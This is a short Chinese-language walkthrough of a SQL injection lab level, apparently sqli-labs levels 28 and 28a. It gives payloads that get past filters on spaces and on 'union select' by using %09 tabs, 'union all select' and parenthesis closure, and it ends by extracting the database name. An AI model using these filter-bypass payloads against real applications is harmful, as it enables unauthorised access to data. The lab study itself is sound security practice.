知识点:
- union select 整体过滤
- union all select 替换
- where id=('输入')
- 空格 + 过滤了,使用%09代替
经过不断的测试,发现原始语句为 where id=('输入')
构造payload:id=1')and%091=('1
成功回显出了相关的信息
好,尝试进行错误注入
构造payload:id=1')and%09exp(710)=('1
发现没有任何的回显信息,说明这里不能用错误注入
尝试进行联合注入
构造payload:id=0%27)UNion%09SElect%091,2,3%09and1=(%271
发现利用大小写不能够绕过
经过测试发现它是过滤union select整个字段,好好好,那么利用union all select绕过
构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271
页面成功回显了,但是内容不是输入信息,应该是他把-1进行绝对值处理了,导致显示了id=1的内容
重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271
页面成功回显了输入内容,发现有两处输出点,猜测是前两位,但是测试发现只有用户名处是输出信息,密码不受影响
获取数据库名
构造payload:id=0%27)union%09all%09select%091,database(),3%09and1=(%271
成功获取到了数据库名,之后的信息也一样
附带28a
28a关和28关的区别在于这关只对union select进行了过滤
同样可以用28关的payload进行处理,具体就不实操了,参考上面的方法就行了
10